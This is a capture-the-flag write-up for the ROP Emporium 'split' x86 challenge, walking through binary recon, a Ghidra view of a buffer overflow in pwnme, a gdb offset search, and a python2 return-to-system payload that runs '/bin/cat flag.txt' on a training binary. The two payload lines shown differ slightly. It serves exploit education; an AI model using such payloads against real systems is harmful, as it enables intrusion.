

Challenge 2 - Split

Rahn Stavar

Write-up:

Like in challenge 1, the `NX` bit is set, and there some interesting function names:

```
(kali@kali)~/ROPemporium/Ex2
$ file split32
split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=76cb700a2ac0484fb4fa83171a17689b37b9ee8d, not stripped

(kali@kali)~/ROPemporium/Ex2
$ readelf -Ws | grep FUNC
1: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.0 (2)
3: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2)
4: 00000000 0 FUNC GLOBAL DEFAULT UND system@GLIBC_2.0 (2)
6: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
7: 00000000 0 FUNC GLOBAL DEFAULT UND setvbuf@GLIBC_2.0 (2)
8: 00000000 0 FUNC GLOBAL DEFAULT UND memset@GLIBC_2.0 (2)
28: 08048490 0 FUNC LOCAL DEFAULT 14 deregister_tm_clones
29: 080484d0 0 FUNC LOCAL DEFAULT 14 register_tm_clones
30: 08048510 0 FUNC LOCAL DEFAULT 14 __do_global_ctors_aux
33: 08048540 0 FUNC LOCAL DEFAULT 14 frame_dummy
36: 080485ad 95 FUNC LOCAL DEFAULT 14 pwnme
37: 0804860c 25 FUNC LOCAL DEFAULT 14 usefulFunction
46: 08048690 2 FUNC GLOBAL DEFAULT 14 __libc_csu_fini
47: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0
48: 08048480 4 FUNC GLOBAL HIDDEN 14 __x86.get_pc_thunk.bx
50: 00000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.0
52: 00048694 0 FUNC GLOBAL DEFAULT 15 _fini
54: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0
55: 00000000 0 FUNC GLOBAL DEFAULT UND system@GLIBC_2.0
59: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0
61: 08048630 93 FUNC GLOBAL DEFAULT 14 __libc_csu_init
62: 00000000 0 FUNC GLOBAL DEFAULT UND setvbuf@GLIBC_2.0
63: 00000000 0 FUNC GLOBAL DEFAULT UND memset@GLIBC_2.0
65: 08048470 2 FUNC GLOBAL HIDDEN 14 _dl_relocate_static_pie
66: 08048430 0 FUNC GLOBAL DEFAULT 14 _start
70: 08048546 103 FUNC GLOBAL DEFAULT 14 main
72: 08048374 0 FUNC GLOBAL DEFAULT 11 _init

(kali@kali)~/ROPemporium/Ex2
$ checksec --file=split32
RELRO Partial RELRO
STACK CANARY No canary found
NX NX enabled
PIE No PIE
RPATH No RPATH
RUNPATH No RUNPATH
Symbols 71 Symbols
FORTIFY No
Fortified 0
Fortifiable 3
FILE split32
```

Namely, `usefulFunction` and `pwnme`.

From Ghidra, `pwnme` looks like:

```
void pwnme(void)
{
    undefined local_2c [40];
    memset(local_2c,0,0x20);
    puts("Contriving a reason to ask user for data...");
    printf("> ");
    read(0,local_2c,0x60);
    puts("Thank you!");
    return;
}
```

It contains a buffer overflow vulnerability.

And `usefulFunction` looks like:

```
void usefulFunction(void)
{
    system("/bin/ls");
}
```

```
return;  
}
```

This *is* useful, as it has a call to `system()` , however it does not execute `/bin/cat flag.txt` , which is the goal. So I will need more in order to use this.

Some further recon in Ghidra reveals the exact string I need exists in the binary:

```
                                usefulString  
0804a030 2f 62 69      ds      "/bin/cat flag.txt"  
        6e 2f 63  
        61 74 20 ...
```

So if I can pass this the the `system()` call in `usefulFunction` and get it to execute I win.

In the disassembly, I can see that the parameter is pushed onto the stack right before `system` is called:

```
08048615 68 0e 87      PUSH      s_/bin/ls_0804870e  
        04 08  
0804861a e8 c1 fd      CALL      <EXTERNAL>::system  
        ff ff
```

So I just need the address of the `/bin/cat flag.txt` string to be on the top of the stack when `system` is called.

Now to create a payload, I need the offset of the return address from the buffer start.

```

Writing pattern of 100 chars to filename "pattern.txt"
gdb-peda$ r < pattern.txt
Starting program: /home/kali/ROPemporium/Ex2/split32 < pattern.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
split by ROP Emporium
x86
Contriving a reason to ask user for data ...
> Thank you!
Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[> f dummy]
[----- registers -----]
EAX: 0xb ('\x0b')
EBX: 0xf7e1dff4 → 0x21dd8c
ECX: 0xf7e1f9b8 → 0x0
EDX: 0x0
ESI: 0x8048630 (<__libc_csu_init>: push ebp)
EDI: 0xf7ffcbab → 0x0
EBP: 0x41304141 ('AA0A')
ESP: 0xffffcfa0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAGAA\364\337\341\367F\205\004\b\001")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10282 (carry parity adjust zero SIG trap INTERRUPT direction overflow)
[----- code -----]
Invalid $PC address: 0x41414641
[----- stack -----]
0000| 0xffffcfa0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAGAA\364\337\341\367F\205\004\b\001")
0004| 0xffffcfa4 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAGAA\364\337\341\367F\205\004\b\001")
0008| 0xffffcfa8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAGAA\364\337\341\367F\205\004\b\001")
0012| 0xffffcfac ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAGAA\364\337\341\367F\205\004\b\001")
0016| 0xffffcfb0 ("AdAA3AAIAAeAA4AAJAAfAA5AAKAAGAA\364\337\341\367F\205\004\b\001")
0020| 0xffffcfb4 ("A3AAIAAeAA4AAJAAfAA5AAKAAGAA\364\337\341\367F\205\004\b\001")
0024| 0xffffcfb8 ("IAAeAA4AAJAAfAA5AAKAAGAA\364\337\341\367F\205\004\b\001")
0028| 0xffffcfbc ("AA4AAJAAfAA5AAKAAGAA\364\337\341\367F\205\004\b\001")
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ pattern offset AFAA
AFAA found at offset: 44

```

The offset is the same as in Challenge 1, 44 bytes.

So the payload will be of the form:

(44 bytes of junk) + (address of call to system()) + (address of usefulString)

```
python2 -c 'print "\x00"*44 + "\x1a\x86\x04\x08" + "junk" + "\x30\xa0\x04\x08"' >
payload.txt
```

```
(kali㉿kali)-[~/ROPemporium/Ex2]
$ python2 -c 'print "\x00"*44 + "\x1a\x86\x04\x08" + "\x30\xa0\x04\x08"' > payload.txt

(kali㉿kali)-[~/ROPemporium/Ex2]
$ ./split32 < payload.txt
split by ROP Emporium
x86 generic_clib_64

Contriving a reason to ask user for data ...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
zsh: segmentation fault ./split32 < payload.txt
```

As shown in the above picture, using this payload, the exploit was successful and the flag was printed.